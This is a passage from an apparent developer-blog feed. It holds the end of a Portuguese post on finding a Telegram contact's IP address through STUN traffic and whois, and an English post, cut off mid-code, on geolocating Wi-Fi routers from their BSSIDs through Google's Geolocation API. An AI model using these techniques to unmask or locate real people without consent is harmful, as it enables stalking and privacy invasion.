  &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;

 &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[?]"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Print&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[?] Executar whois"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="s"&gt;"? (S/N): "&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

 &lt;span class="c"&gt;// Verificar se o usuário deseja executar o comando whois&lt;/span&gt;
 &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;answer&lt;/span&gt; &lt;span class="kt"&gt;string&lt;/span&gt;
 &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Scanln&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="o"&gt;&amp;amp;&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;

 &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;strings&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;ToUpper&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;answer&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt; &lt;span class="o"&gt;==&lt;/span&gt; &lt;span class="s"&gt;"S"&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;whoisCmd&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;exec&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Command&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"whois"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;IP&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;whoisOutput&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="n"&gt;whoisCmd&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Output&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt;
  &lt;span class="k"&gt;if&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="o"&gt;!=&lt;/span&gt; &lt;span class="no"&gt;nil&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
   &lt;span class="n"&gt;log&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Fatal&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"Erro ao executar o comando whois:"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="p"&gt;}&lt;/span&gt;

  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;whoisOutput&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt; &lt;span class="k"&gt;else&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;
  &lt;span class="n"&gt;fmt&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Println&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="s"&gt;"[+] Tchau tchau!"&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
  &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="o"&gt;.&lt;/span&gt;&lt;span class="n"&gt;Exit&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
 &lt;span class="p"&gt;}&lt;/span&gt;
&lt;span class="p"&gt;}&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;&lt;strong&gt;Conclusão&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;Utilizando o Wireshark e a análise do tráfego STUN no Telegram, podemos descobrir o endereço IP do usuário com quem estamos interagindo. Essa informação pode ser útil para diversos propósitos, como verificar a localização geográfica do usuário ou identificar possíveis problemas de rede.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;&lt;em&gt;No entanto, é importante lembrar que a privacidade dos usuários deve ser sempre respeitada. O uso dessas técnicas deve ser feito de maneira ética e dentro dos limites legais.&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;Referências:&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://medium.com/@ibederov_en/find-out-the-ip-address-through-a-call-to-telegram-a899441b1bac" rel="noopener noreferrer"&gt;https://medium.com/@ibederov_en/find-out-the-ip-address-through-a-call-to-telegram-a899441b1bac&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://www.wireshark.org/" rel="noopener noreferrer"&gt;https://www.wireshark.org/&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://go.dev/" rel="noopener noreferrer"&gt;https://go.dev/&lt;/a&gt;&lt;/p&gt;

</description>
      <category>go</category>
      <category>security</category>
      <category>tutorial</category>
      <category>hacking</category>
    </item>
    <item>
      <title>Find out how to use Google to locate your home using just your Wi-Fi router!</title>
      <dc:creator>Higor Diego</dc:creator>
      <pubDate>Sat, 27 May 2023 22:45:26 +0000</pubDate>
      <link>https://forem.com/higordiego/discover-how-google-can-locate-your-residence-just-through-your-wi-fi-router-250m</link>
      <guid>https://forem.com/higordiego/discover-how-google-can-locate-your-residence-just-through-your-wi-fi-router-250m</guid>
      <description>&lt;p&gt;&lt;a href="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fik0lohvs37s1e8ptkefd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fik0lohvs37s1e8ptkefd.png" alt="Wifi Google"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Did you know that Google has a location search engine called "Wifi access point object"? This functionality is described in detail in the documentation, which you can check out by clicking &lt;a href="https://developers.google.com/maps/documentation/geolocation/overview" rel="noopener noreferrer"&gt;here&lt;/a&gt;.&lt;/p&gt;

&lt;p&gt;It's really amazing, isn't it? Let's explore this feature further!&lt;/p&gt;

&lt;p&gt;Have you heard of BSSID? Also known as Basic Service Set Identifier, this term may sound complicated, but it's actually quite useful for understanding how your Wi-Fi router works. The BSSID is like a unique "name" given to the router, allowing your devices to identify it on the network.&lt;/p&gt;

&lt;p&gt;Think of the BSSID as a MAC address for your router. It plays a crucial role in enabling your devices to connect to it quickly and efficiently. When scanning for available Wi-Fi networks on your device, you can see the BSSID as a combination of letters and numbers.&lt;/p&gt;

&lt;p&gt;Why is this important? Well, understanding the BSSID can be extremely helpful when setting up or troubleshooting issues on your wireless network. It helps identify the specific router you're connecting to, which can be useful when adjusting settings or resolving connection problems.&lt;/p&gt;

&lt;p&gt;So, the next time you come across the term BSSID, remember that it refers to the unique identifier of your Wi-Fi router. It's a key element in ensuring a stable and reliable connection in your home or workplace network.&lt;/p&gt;

&lt;p&gt;If you want to view the BSSIDs of Wi-Fi routers around you, we have a simple command for you. Here's how:&lt;/p&gt;

&lt;p&gt;Open the terminal and type the following command:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

&lt;span class="nb"&gt;sudo&lt;/span&gt; /System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport &lt;span class="nt"&gt;-s&lt;/span&gt;



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;It's important to run the above command with administrator privileges to ensure you have access to the necessary information. For security reasons, the BSSID will not be displayed if you run the command without proper permissions.&lt;/p&gt;

&lt;p&gt;The terminal output will look similar to this:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

            SSID BSSID             RSSI CHANNEL HT CC SECURITY &lt;span class="o"&gt;(&lt;/span&gt;auth/unicast/group&lt;span class="o"&gt;)&lt;/span&gt;
    &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; XX:5f:67:XX:c5:4d &lt;span class="nt"&gt;-81&lt;/span&gt;  8       Y  &lt;span class="nt"&gt;--&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
    &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; 00:31:92:XX:e7:36 &lt;span class="nt"&gt;-50&lt;/span&gt;  9       Y  &lt;span class="nt"&gt;--&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
    &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; cc:06:XX:db:e2:XX &lt;span class="nt"&gt;-50&lt;/span&gt;  4       Y  &lt;span class="nt"&gt;--&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
        &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; a4:XX:a4:ed:XX:7c &lt;span class="nt"&gt;-47&lt;/span&gt;  2       Y  BR WPA&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES,TKIP/TKIP&lt;span class="o"&gt;)&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES,TKIP/TKIP&lt;span class="o"&gt;)&lt;/span&gt; 
&lt;span class="s2"&gt;"confidencial"&lt;/span&gt; cc:06:77:db:e2:84 &lt;span class="nt"&gt;-66&lt;/span&gt;  36,+1   Y  &lt;span class="nt"&gt;--&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
    &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; 00:31:XX:XX:e7:37 &lt;span class="nt"&gt;-57&lt;/span&gt;  48,-1   Y  BR RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES/AES&lt;span class="o"&gt;)&lt;/span&gt; 
  &lt;span class="s2"&gt;"confidencial"&lt;/span&gt;, fa:XX:ca:86:ca:96 &lt;span class="nt"&gt;-26&lt;/span&gt;  6       Y  &lt;span class="nt"&gt;--&lt;/span&gt; NONE
      &lt;span class="s2"&gt;"confidencial"&lt;/span&gt; a4:6d:a4:XX:33:XX &lt;span class="nt"&gt;-49&lt;/span&gt;  36      Y  BR WPA&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES,TKIP/TKIP&lt;span class="o"&gt;)&lt;/span&gt; RSN&lt;span class="o"&gt;(&lt;/span&gt;PSK/AES,TKIP/TKIP&lt;span class="o"&gt;)&lt;/span&gt; 



&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Once you have obtained the BSSID of the desired Wi-Fi router, you can use the Google API to obtain accurate geolocation data. Here's how to do it using a simple command in the terminal:&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;

curl &lt;span class="nt"&gt;--location&lt;/span&gt; &lt;span class="nt"&gt;--request&lt;/span&gt; GET &lt;span class="s1"&gt;'https://www.googleapis.com/geolocation/v1/geolocate?key=YourAPIKeyHere'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--header&lt;/span&gt; &lt;span class="s1"&gt;'Content-Type: application/json'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="nt"&gt;--data&lt;/span&gt; &lt;span class="s1"&gt;'{
    "wifiAccessPoints":[ 
        {
            "macAddress": "BSSIDOfTheRouterHere" 
        }
    ]
}'&lt;/span&gt;


&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;

&lt;p&gt;Before proceeding, it's important to replace "YourAPIKeyHere" with your Google API key, which you can obtain by creating a developer account on the Google Cloud Platform. Be sure to add the correct key to ensure proper access to the API.&lt;/p&gt;

&lt;p&gt;When you run the command, the system will send a GET request to the Google Geolocation API, passing the router's BSSID as a parameter. This allows Google to identify the approximate location of the router based on its geolocation information.&lt;/p&gt;

&lt;p&gt;Furthermore, by examining the structure of the example calls, you can input multiple Wi-Fi MAC addresses along with signal strength. This way, the API will use triangulation techniques to provide an even more accurate location.&lt;/p&gt;

&lt;p&gt;It's worth noting that the geolocation API can also find locations based on cell tower IDs. This means you can obtain accurate location information even when you're not connected to a Wi-Fi network.&lt;/p&gt;

&lt;p&gt;Now let's create some code to automate the above process using the Go programming language.&lt;/p&gt;

&lt;p&gt;Here's the code:&lt;/p&gt;


&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight go"&gt;&lt;code&gt;

&lt;p&gt;&lt;span class="k"&gt;package&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span class="k"&gt;import&lt;/span&gt; &lt;span class="p"&gt;(&lt;/span&gt;&lt;br&gt;
    &lt;span class="s"&gt;"bytes"&lt;/span&gt;&lt;br&gt;
    &lt;span class="s"&gt;"encoding/json"&lt;/span&gt;&lt;br&gt;
    &lt;span class="s"&gt;"fmt"&lt;/span&gt;&lt;br&gt;
    &lt;span class="s"&gt;"log"&lt;/span&gt;&lt;br&gt;
    &lt;span class="s"&gt;"net/http"&lt;/span&gt;&lt;br&gt;
    &lt;span class="s"&gt;"os/exec"&lt;/span&gt;&lt;br&gt;
    &lt;span class="s"&gt;"runtime"&lt;/span&gt;&lt;br&gt;
    &lt;span class="s"&gt;"strings"&lt;/span&gt;&lt;br&gt;
&lt;span class="p"&gt;)&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;getWifiMacAddresses&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;br&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;results&lt;/span&gt; &lt;span class="p"&gt;[]&lt;/span&gt;&lt;span class="kt"&gt;byte&lt;/span&gt;&lt;br&gt;
    &lt;span class="k"&gt;var&lt;/span&gt; &lt;span class="n"&gt;err&lt;/span&gt; &lt;span class="kt"&gt;error&lt;/span&gt;&lt;/p&gt;
&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight plaintext"&gt;&lt;code&gt;&amp;lt;span class="k"&amp;gt;switch&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;runtime&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;GOOS&amp;lt;/span&amp;gt; &amp;lt;span class="p"&amp;gt;{&amp;lt;/span&amp;gt;
&amp;lt;span class="k"&amp;gt;case&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"darwin"&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;:&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;results&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;exec&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Command&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="s"&amp;gt;"/System/Library/PrivateFrameworks/Apple80211.framework/Resources/airport"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"-s"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Output&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;()&amp;lt;/span&amp;gt;
&amp;lt;span class="k"&amp;gt;case&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"windows"&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;:&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;results&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;exec&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Command&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="s"&amp;gt;"netsh"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"wlan"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"show"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"network"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Output&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;()&amp;lt;/span&amp;gt;
&amp;lt;span class="k"&amp;gt;case&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"linux"&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;:&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;results&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;exec&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Command&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="s"&amp;gt;"iwlist"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"scanning"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Output&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;()&amp;lt;/span&amp;gt;
&amp;lt;span class="p"&amp;gt;}&amp;lt;/span&amp;gt;

&amp;lt;span class="k"&amp;gt;if&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;!=&amp;lt;/span&amp;gt; &amp;lt;span class="no"&amp;gt;nil&amp;lt;/span&amp;gt; &amp;lt;span class="p"&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;log&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Fatal&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;err&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;
&amp;lt;span class="p"&amp;gt;}&amp;lt;/span&amp;gt;

&amp;lt;span class="k"&amp;gt;var&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;macAddr&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class="nb"&amp;gt;make&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="k"&amp;gt;map&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="kt"&amp;gt;string&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;&amp;lt;span class="k"&amp;gt;map&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="kt"&amp;gt;string&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;&amp;lt;span class="kt"&amp;gt;string&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;
&amp;lt;span class="n"&amp;gt;lines&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;strings&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Split&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;strings&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;TrimSpace&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="kt"&amp;gt;string&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;results&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)),&amp;lt;/span&amp;gt; &amp;lt;span class="s"&amp;gt;"&amp;lt;/span&amp;gt;&amp;lt;span class="se"&amp;gt;\n&amp;lt;/span&amp;gt;&amp;lt;span class="s"&amp;gt;"&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)[&amp;lt;/span&amp;gt;&amp;lt;span class="m"&amp;gt;1&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;:&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;
&amp;lt;span class="k"&amp;gt;for&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;_&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;line&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="k"&amp;gt;range&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;lines&amp;lt;/span&amp;gt; &amp;lt;span class="p"&amp;gt;{&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;fields&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;strings&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;.&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;Fields&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;(&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;line&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;)&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;addr&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;fields&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="m"&amp;gt;0&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;
    &amp;lt;span class="n"&amp;gt;db&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;:=&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;fields&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="m"&amp;gt;1&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;
    &amp;lt;span class="c"&amp;gt;// additional fields if needed&amp;lt;/span&amp;gt;

    &amp;lt;span class="n"&amp;gt;macAddr&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="n"&amp;gt;addr&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt; &amp;lt;span class="o"&amp;gt;=&amp;lt;/span&amp;gt; &amp;lt;span class="k"&amp;gt;map&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;[&amp;lt;/span&amp;gt;&amp;lt;span class="kt"&amp;gt;string&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;]&amp;lt;/span&amp;gt;&amp;lt;span class="kt"&amp;gt;string&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;{&amp;lt;/span&amp;gt;
        &amp;lt;span class="s"&amp;gt;"signalStrength"&amp;lt;/span&amp;gt;&amp;lt;span class="o"&amp;gt;:&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;db&amp;lt;/span&amp;gt;&amp;lt;span class="p"&amp;gt;,&amp;lt;/span&amp;gt;
    &amp;lt;span class="p"&amp;gt;}&amp;lt;/span&amp;gt;
&amp;lt;span class="p"&amp;gt;}&amp;lt;/span&amp;gt;

&amp;lt;span class="k"&amp;gt;return&amp;lt;/span&amp;gt; &amp;lt;span class="n"&amp;gt;macAddr&amp;lt;/span&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;
&lt;p&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;/p&gt;

&lt;p&gt;&lt;span class="k"&gt;func&lt;/span&gt; &lt;span class="n"&gt;main&lt;/span&gt;&lt;span class="p"&gt;()&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;br&gt;
    &lt;span class="n"&gt;postjson&lt;/span&gt; &lt;span class="o"&gt;:=&lt;/span&gt; &lt;span class="nb"&gt;make&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="k"&gt;map&lt;/span&gt;&lt;span class="p"&gt;[&lt;/span&gt;&lt;span class="kt"&gt;string&lt;/span&gt;&lt;span class="p"&gt;]&lt;/span&gt;&lt;span class="k"&gt;interface&lt;/span&gt;&lt;span class="p"&gt;{})&lt;/span&gt;&lt;br&gt;
